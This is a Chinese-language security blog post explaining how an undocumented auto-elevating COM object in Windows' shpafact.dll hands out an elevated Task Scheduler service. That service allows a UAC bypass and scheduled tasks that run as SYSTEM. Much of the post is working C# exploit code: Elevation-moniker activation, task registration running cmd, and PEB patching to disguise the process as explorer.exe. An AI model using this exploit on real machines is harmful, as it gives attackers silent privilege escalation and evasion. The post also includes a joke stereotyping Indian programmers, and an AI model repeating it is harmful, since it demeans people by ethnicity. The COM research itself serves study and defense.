Advanced Windows Task Scheduler Playbook - Part.2 UAC
原创 zcgonvh 2022-06-20 09:57 北京
Advanced Windows Task Scheduler Playbook - Part.2 from COM to UAC bypass and get SYSTEM dirtectly
Advanced Windows Task Scheduler Playbook - Part.2 from COM to UAC bypass and get SYSTEM dirtectly
前章勘误:0x03中的CLSID应为`0F87369F-A4E5-4CFC-BD3E-73E6154572DD`,公众号不能修改我是很服气的。
从本文起,专有名词将以官方英文原文着重标记。
0x00 思考
MS-TSCH
进行分析理解,大致明确了微软关于计划任务程序的设计思路:以文档化XML格式作为描述、RPC协议为基础,在公开函数式RPC调用的同时,通过COM Helper实现面向对象。进化
的思想,从面向过程
进化到面向对象
,这个过程就是常说的封装
。让我们继续用常见的Web角度进行类比,可以理解为:
PHP5进化至PHP7。PHP/ASP进化至Java/.Net。JS进化至TS/ES6。
(在开发与设计层面,一些思想是统一且几乎不会改变的)
实现
之外的任何意义。只有在使用者(或称“调用方”)根据某些业务逻辑
进行调用,随之多个完整的业务功能
按照相关逻辑组成一套系统,此时的组件才称得上“有意义”。(如果你认同这个观点,那么所看到的每一个渗透技巧事件追踪漏洞分析都能找到例子进行类比。毋庸置疑,每一个)
直接
产生一些红队(Redteam)
、武器化(Weaponize)
、渗透测试工具(Pentesting Tools)
。感谢微软提供了丰富的API为渗透测试带来方便,但回归研究者思路,我们不该忽略这一点:计划任务作为重要系统组件之一,被广泛应用于系统多个功能模块中。
所以,让我们来思考一组问题:
有哪些自带功能调用了计划任务?这个功能可以起到什么作用?这个功能是否进行了组件化,即可以通过某种方式进行调用?是否存在利用或滥用的可能?
0x01 基础
在回答这个问题之前,让我们重温COM基础。
微软提供了非常完善的基础知识文档https://docs.microsoft.com/en-us/windows/win32/com/com-fundamentals,以及配套的示例代码,这些文档和代码的历史至少可以追溯至Windows 2000的时代。
(我不想在查找资料上花太多篇幅。根据个人经验,花费两天时间,拿出挖洞找链的劲头,配合写论文找参考资料的态度,将原文从头到尾啃一遍,比看十篇技术文章都要有用的多。包括你在看的这篇)
参考文档顺便查漏补缺,我们重新回忆一下最为基础的知识点:
接口
与实现
。ITaskService
。Guid
,分别为针对接口的IID(Interface IDentifier)
与针对类的CLSID(CLaSs IDentifier)
。CLSID_TaskScheduler
定义为0F87369F-A4E5-4CFC-BD3E-73E6154572DD
。HKEY_LOCAL_MACHINE\SOFTWARE\Classes
,用户组件注册于HKEY_CURRENT_USER\SOFTWARE\Classes
。HKEY_CLASSES_ROOT
为二者合并后的视图,在系统服务角度等同于HKEY_LOCAL_MACHINE\SOFTWARE\Classes
。HKEY_CLASSES_ROOT\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}
。进程内(In-Process)
与进程外(Out-Of-Process)
两种实现方式。多数情况下,进程外COM组件为一个exe,进程内COM组件为一个dll。taskschd.dll
实现。ProgId(Programmatic IDentifier)
为CLSID
指定别名。Schedule.Service.1
。CoCreateInstance
、CoCreateInstanceEx
、CoGetClassObject
等函数时,将创建具有指定CLSID
的对象实例,这个过程称为激活(Activation)
。CoCreateInstance(CLSID_TaskScheduler,....)
。工厂模式
对调用方与实现方进行解耦,包括进程内外COM组件激活、通信、转换,IUnknown::QueryInterface
和IClassFactory
始终贯穿其中。QueryInterface
。现在,我们有了对COM的基本认知,接下来要在一个庞大、复杂的操作系统之中,跟踪一个微小的COM对象调用了。无论多么复杂的系统,归根结底由人开发,由编译器编译。我们知道Windows的编译器为VS,语言为微软风格的C/C++,开发者为三哥。
那么来到思考时间:你是一名三哥程序猿,恒河水使你的代码和你的身体一样无比健壮。现在,你要用VS建立一个C/C++项目,里面调用计划任务做一些事。
-你会怎么写?
#include <taskschd.h>
-为什么?
-“标准”示例如此。
很好,我们得到了第一种方式:
在所有系统组件中搜索字符串形式的 0F87369F-A4E5-4CFC-BD3E-73E6154572DD
然后重新把思维切换回安全领域,暂时客串一番样本分析:你是一名应急响应工程师,陆莲花胃脑虫被你里里外外反反复复上上下下肆意玩弄得不成马形。现在你出台到了客户内网分析一批恶意样本,已知其中某样本会创建计划任务,在没自动化沙箱的情况下怎样能把它揪出来进行后续分析?
-那TM还用说?ProcMon开起来、某绒刀砍它。
于是我们有了第二种方式:
跟踪注册表 HKEY_CLASSES_ROOT\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
最后,把思维切到我们最熟悉的安全开发/红蓝对抗:现在洋大人发了个框架,能随意拓展巨牛逼,能过宇宙杀软加计划任务巨好用,还有源码能抄简直是洋菩萨。唯一一个问题:不知道在哪调了计划任务,就看到一堆配置文件一堆设计模式。
-直接扔到IDE里面搜CLSID、IID、ProgId反过去找引用啊
我们拿到了第三种方式:
考虑到工厂与动态调用,在配置文件等 静态数据 0F87369F-A4E5-4CFC-BD3E-73E6154572DD
0x02 发现
现在,我们有三种可行方案来进行跟踪了。
思考一下三种方式的优劣:第二种动态追踪的方式能够直观的找到调用方,但一个前提是必须存在活动的调用。计划任务功能并不是一个需要频繁调用的功能,Windows的复杂性也决定了无法手动访问每一个功能,所以不妨暂时搁置。
第一三种均可归结为静态查找,考虑到我们研究的目标基于COM,而COM绝大多数配置基于注册表,所以首先在注册表这个最大的公共配置文件内进行搜索,可以得到如图所示结果:

C:\>reg query HKEY_CLASSES_ROOT\CLSID\{A6BFEA43-501F-456F-A845-983D3AD7B8F0} /sHKEY_CLASSES_ROOT\CLSID\{A6BFEA43-501F-456F-A845-983D3AD7B8F0} (默认) REG_SZ Virtual Factory for MaintenanceUI AppId REG_SZ {A6BFEA43-501F-456F-A845-983D3AD7B8F0} LocalizedString REG_EXPAND_SZ @%SystemRoot%\System32\MaintenanceUI.dll,-1HKEY_CLASSES_ROOT\CLSID\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}\Elevation Enabled REG_DWORD 0x1HKEY_CLASSES_ROOT\CLSID\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}\InProcServer32 (默认) REG_EXPAND_SZ %SystemRoot%\System32\shpafact.dll ThreadingModel REG_SZ ApartmentHKEY_CLASSES_ROOT\CLSID\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}\VirtualServerObjects {0f87369f-a4e5-4cfc-bd3e-73e6154572dd} REG_SZ我们发现了一个可疑的东西:
%SystemRoot%\System32\shpafact.dll
实现的未文档化COM组件A6BFEA43-501F-456F-A845-983D3AD7B8F0
。一个未文档化的自定义注册表项VirtualServerObjects
,其值包含计划任务组件CLSID。Elevation@Enabled=1
,意味着可以进行UAC自动提升。接下来要做的,就是对这个组件进行分析,找到其设计层面的意义,以及探寻是否存在利用的可能。
0x03 分析
接下来,我们开始分析COM所实现功能,以及是否可以利用。
%SystemRoot%\System32\shpafact.dll
代码量极少,让我们用五分钟时间进行快速分析。首先根据https://docs.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-dllgetclassobject,COM通过固定导出函数DllGetClassObject
创建实例,shpafact.dll
创建了CClassFactory
作为工厂类:
CClassFactory
作为工厂支持创建多个对象,我们的目标组件A6BFEA43-501F-456F-A845-983D3AD7B8F0
并非已知的两个CLSID之一,将进入最下方CElevatedFactoryServer::CreateInstance
分支:
CElevatedFactoryServer::CreateInstance
方法最终将直接返回CElevatedFactoryServer
对象实例:
CElevatedFactoryServer
对象继承自IUnknown
,且仅有一个对象方法ServerCreateInstance
:
ServerCreateInstance
方法签名为HRESULT thiscall ServerCreateInstance(REFCLSID,REFIID,PVOID*)
,当REFCLSID
参数已在VirtualServerObjects
注册表项注册的情况下,将直接创建指定CLSID
的对象:
QueryInterface
方法可得到IID_ElevatedFactoryServer为804bd226-af47-4d71-b492-443a57610b08
:
CLSID
、IID
、虚函数表
、方法签名
,稍作整理即可得到以下IDL
:[uuid(804bd226-af47-4d71-b492-443a57610b08)]interface IElevatedFactoryServer : IUnknown { HRESULT _stdcall ServerCreateInstance(REFCLSID rclsid,REFIID riid,LPVOID* ppvobj);};[uuid(A6BFEA43-501F-456F-A845-983D3AD7B8F0)]coclass ElevatedFactoryServer { interface IElevatedFactoryServer;};0x04 调用
IDL
之后,直接使用合适的语言进行调用即可,例如转换为C#等价Interop
代码:[Guid("804bd226-af47-4d71-b492-443a57610b08")][InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]interface IElevatedFactoryServer{ [return: MarshalAs(UnmanagedType.Interface)] object ServerCreateElevatedObject([In, MarshalAs(UnmanagedType.LPStruct)] Guid rclsid, [In, MarshalAs(UnmanagedType.LPStruct)] Guid riid);}
提升后的(Elevated)
COM对象,所以必须使用CoGetObject
结合Elevation Moniker
进行激活:BIND_OPTS3 opt = new BIND_OPTS3();opt.cbStruct = (uint)Marshal.SizeOf(opt);opt.dwClassContext = 4;var srv = CoGetObject("Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}", ref opt, new Guid("{00000000-0000-0000-C000-000000000046}")) as IElevatedFactoryServer;
ServerCreateElevatedObject
方法获取ITaskService
实例:var svc = srv.ServerCreateElevatedObject(new Guid("{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}"), new Guid("{00000000-0000-0000-C000-000000000046}")) as ITaskService;
ITaskService
实例实际上在提升后的进程中运行,所以可使用TASK_RUNLEVEL_HIGHEST
标记创建以完整令牌运行的计划任务,这等价于将xml文件Task\Principals\Principal\RunLevel
的值指定为HighestAvailable
:<Principals> <Principal id="Author"> <RunLevel>HighestAvailable</RunLevel></Principal>
</Principals>
xml
进行注册:svc.Connect();var folder = svc.GetFolder("\\");var task = folder.RegisterTask("Test Task", xml, 0, null, null, TaskLogonType.InteractiveToken, null);task.Run(null);
PEB
进行Patch:var fake = "explorer.exe";var fake2 = @"c:\windows\explorer.exe";var PPEB = RtlGetCurrentPeb();PEB PEB = (PEB)Marshal.PtrToStructure(PPEB, typeof(PEB));bool x86 = Marshal.SizeOf(typeof(IntPtr)) == 4;var pImagePathName = new IntPtr(PEB.ProcessParameters.ToInt64() + (x86 ? 0x38 : 0x60));var pCommandLine = new IntPtr(PEB.ProcessParameters.ToInt64() + (x86 ? 0x40 : 0x70));RtlInitUnicodeString(pImagePathName, fake2);RtlInitUnicodeString(pCommandLine, fake2);PEB_LDR_DATA PEB_LDR_DATA = (PEB_LDR_DATA)Marshal.PtrToStructure(PEB.Ldr, typeof(PEB_LDR_DATA));LDR_DATA_TABLE_ENTRY LDR_DATA_TABLE_ENTRY;var pFlink = new IntPtr(PEB_LDR_DATA.InLoadOrderModuleList.Flink.ToInt64());var first = pFlink;do{ LDR_DATA_TABLE_ENTRY = (LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(pFlink, typeof(LDR_DATA_TABLE_ENTRY)); if (LDR_DATA_TABLE_ENTRY.FullDllName.Buffer.ToInt64() < 0 || LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer.ToInt64() < 0) { pFlink = LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink; continue; } try { if (Marshal.PtrToStringUni(LDR_DATA_TABLE_ENTRY.FullDllName.Buffer).EndsWith(".exe")) { RtlInitUnicodeString(new IntPtr(pFlink.ToInt64() + (x86 ? 0x24 : 0x48)), fake2); RtlInitUnicodeString(new IntPtr(pFlink.ToInt64() + (x86 ? 0x2c : 0x58)), fake); LDR_DATA_TABLE_ENTRY = (LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(pFlink, typeof(LDR_DATA_TABLE_ENTRY)); break; } } catch { } pFlink = LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink;} while (pFlink != first);
编译执行,不出意外的话我们将以提升后的身份运行xml中指定的命令(这里是cmd):

UAC Bypass
。Principal
节点的值来注册以完整令牌运行的计划任务,而这个XML节点架构定义记录于MS-TSCH 2.5.6 Principal Schema Part
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/b9420a4c-fe40-45a0-ae85-2d57e051409b。Principal
节点可包含子节点UserId
,用于提供计划任务执行时的用户身份信息,其格式可以为用户名
、SID
、UPN
、FQDN
。UserId
为SYSTEM
:<Principals> <Principal id="Author"> <UserId>SYSTEM</UserId> <RunLevel>HighestAvailable</RunLevel></Principal>
</Principals>
SYSTEM
身份运行:
无文件
的UACBypass
,直接
获取到SYSTEM
权限。0x05 原理
至此,单纯的“安全研究”至武器化落地已经结束了。
但从纯粹知识的领域,这还不够。
请把思维暂时回溯至0x01 基础一节,重新打开MSDN,对比完整的目标注册表项,在最后来为本文补充一个最为重要的理论依据。
CoGetObject
函数,结合Elevation Moniker
进行激活,这个行为记录在https://docs.microsoft.com/en-us/windows/win32/com/the-com-elevation-moniker。CLSCTX_LOCAL_SERVER
作为激活上下文标记,这表示要求DCOMLaunch创建一个新的进程外COM对象,A6BFEA43-501F-456F-A845-983D3AD7B8F0
对象仅配置了InProcServer32
,这将导致代理激活(Surrogate Activation)
https://docs.microsoft.com/en-us/windows/win32/com/registering-the-dll-server-for-surrogate-activation。APPID
的代理激活往往存在自定义权限检查。HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{APPID}@LaunchPermission
、HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{APPID}@AccessPermission
共同决定,其值为二进制格式表示的安全描述符Security Descriptor(SD) binary form
。所以我们需要确认能够进行调用。二进制格式的安全描述符并非可读格式,采用Powershell进行解析后输出:
$x=get-itemproperty 'hklm:\software\classes\appid\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}'(new-object System.Security.AccessControl.RawSecurityDescriptor($x.LaunchPermission,0)).DiscretionaryAcl|fl(new-object System.Security.AccessControl.RawSecurityDescriptor($x.AccessPermission,0)).DiscretionaryAcl|fl
将得到类似下面的结果:
BinaryLength : 20AceQualifier : AccessAllowedIsCallback : FalseOpaqueLength : 0AccessMask : 3SecurityIdentifier : S-1-5-4AceType : AccessAllowedAceFlags : NoneIsInherited : FalseInheritanceFlags : NonePropagationFlags : NoneAuditFlags : None
S-1-5-4
对应NT AUTHORITY\INTERACTIVE
,任何通过交互式登录的用户都将授予该组身份,通过whoami /groups
也能够确认这一点:whoami /groups组信息-----------------组名 类型 SID 属性====================================== ====== ============ ==============================Everyone 已知组 S-1-1-0 必需的组, 启用于默认, 启用的组NT AUTHORITY\本地帐户和管理员组成员 已知组 S-1-5-114 只用于拒绝的组BUILTIN\Administrators 别名 S-1-5-32-544 只用于拒绝的组BUILTIN\Performance Log Users 别名 S-1-5-32-559 必需的组, 启用于默认, 启用的组BUILTIN\Users 别名 S-1-5-32-545 必需的组, 启用于默认, 启用的组NT AUTHORITY\INTERACTIVE 已知组 S-1-5-4 必需的组, 启用于默认, 启用的组CONSOLE LOGON 已知组 S-1-2-1 必需的组, 启用于默认, 启用的组NT AUTHORITY\Authenticated Users 已知组 S-1-5-11 必需的组, 启用于默认, 启用的组NT AUTHORITY\This Organization 已知组 S-1-5-15 必需的组, 启用于默认, 启用的组NT AUTHORITY\本地帐户 已知组 S-1-5-113 必需的组, 启用于默认, 启用的组LOCAL 已知组 S-1-2-0 必需的组, 启用于默认, 启用的组NT AUTHORITY\NTLM Authentication 已知组 S-1-5-64-10 必需的组, 启用于默认, 启用的组Mandatory Label\Medium Mandatory Level 标签 S-1-16-8192
所以,作为交互式登录的我们才有权限激活以及调用提升后的COM组件。
COM Proxy
的定义。按照https://docs.microsoft.com/en-us/windows/win32/com/proxy所述,代理对象驻留在调用方进程,充当远程对象的代理,在调用方看来,对代理对象的调用和直接调用真实对象并无区别。对象代理
,应用且遵循代理模式
,即代理对象的表现形式
、暴露方法
、调用方式
与真实对象完全相同
。ysoserial
里面到处都在用的InvocationHandler
或Util
返回的那个泛型对象,或是你用RetransformAgent
劫持Tomcat Filter
、Spring Controller
之后,为了不影响业务而做的那个Wrapper
;从开发的角度,等同于你用过的任何AOP。0x04 调用
所进行的操作可以翻译为:Moniker
为Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}
的对象,由于激活上下文标记为CLSCTX_LOCAL_SERVER
,本地COM客户端(combase.dll
)将请求DCOM服务,发送一个进程外(Out-Of-Process)
、提升的(Elevated)
激活请求。2.DCOM根据组件注册信息(registration info)
与激活上下文(Activation Context)
,确保A6BFEA43-501F-456F-A845-983D3AD7B8F0
对象可以提升(实际上这里将调用AppInfo服务
),且当前用户具备激活权限(存在包含已启用组S-1-5-4
的显式DACL
)。3.DCOM服务在新的(new)
、其他的(others)
、提升后的(elevated)
进程中进行激活(activation)
操作,创建真实对象(Real Object)
。4.DCOM通知本地COM客户端激活成功(HRESULT=S_OK
),本地客户端在当前进程创建真实对象的代理(Proxy)
作为实际通信目标。5.当前进程在代理对象上调用实例方法
,该方法实际上由远程对象进行处理。6.根据方法签名,调用将返回新的ITaskService
对象引用。由于ITaskService
对象未实现额外的编组(Marshalling)
接口,COM进行默认封装,返回远程对象引用(Remote Object Reference,ObjRef)
。7.本地客户端在当前进程以代理对象(Proxy Object)
形式创建ITaskService
对象的代理(Proxy)
。8.根据MSDN所述,对象远程引用在调用方(caller)
等于真实对象;根据CLSID
,真实对象是一个ITaskService
。9.我们在未提升进程(unelevated process)
中,获取到了在提升后进程(elevated process)
的ITaskService
对象代理,任何对代理对象的操作都将无条件转发至真实对象。10.创建带有TASK_RUNLEVEL_HIGHEST
标记或其它任意用户(例如SYSTEM
)运行的计划任务。完成UAC绕过。如果你有耐心看到这里,请务必牢牢记住代理模式这个名词与其含义。我们在本文中见证了一个实际环境中的代理模式套娃,要理解这种模式背后的设计理念和思想,这个思想以后会用在你开发的每行代码、审计的每个功能以及测试的每个业务上。
到这里,我们可以回答0x00中提出的问题了:
0f87369f-a4e5-4cfc-bd3e-73e6154572dd
即计划任务(TaskService),导致未提升的进程可获取一个提升后的TaskService
对象4.通过调用此对象即可创建以完整权限运行的计划任务,实现UAC ByPass。0x06 总结
MS-TSCH协议
与XML作为基础,结合COM基础知识作为补全;随后发掘出有价值的研究目标,作为具有实战价值的工具与代码实现落地;最终我们重新梳理总结相关知识点,借本次这个实例重温关于COM诸多知识细节,并在实践中一一验证,实现“知识闭环”。文章涉及的相关代码可以在https://github.com/zcgonvh/TaskSchedulerMisc/找到。虽然能够直接编译执行,但我依然不建议直接拿来使用,这对于能力提升并没有任何好处。(另:请遵守刑法、网络安全法等相关规定,我只是单纯分享知识,任何使用不当造成的后果请自行承担)(请尊重开源协议 ,抄代码做“武器化”挺无聊的不是么)
当然,这篇文章并不全面,我们只是单纯的根据注册表,然后根据其功能找到了一个UAC Bypass。
而其他的多个角度,无论是继续进行0x01最后对计划任务的跟踪,或是重新对UAC乃至COM进行挖掘,从研究的角度看都有很多细节值得发散开来。
限于篇幅,一些拓展性质的思考将在后续某些系列中进行讲解。
最后,还是那句话,文章的目的是传递知识,论文形式的总结除了“让文章看起来丰满”之外毫无意义。安全研究这种强知识导向的领域没有取巧,只有知识积累才是串联一切的根本,最终厚积薄发乃至蜕变。
希望这篇文章能在技术点之外为各位带来启发。








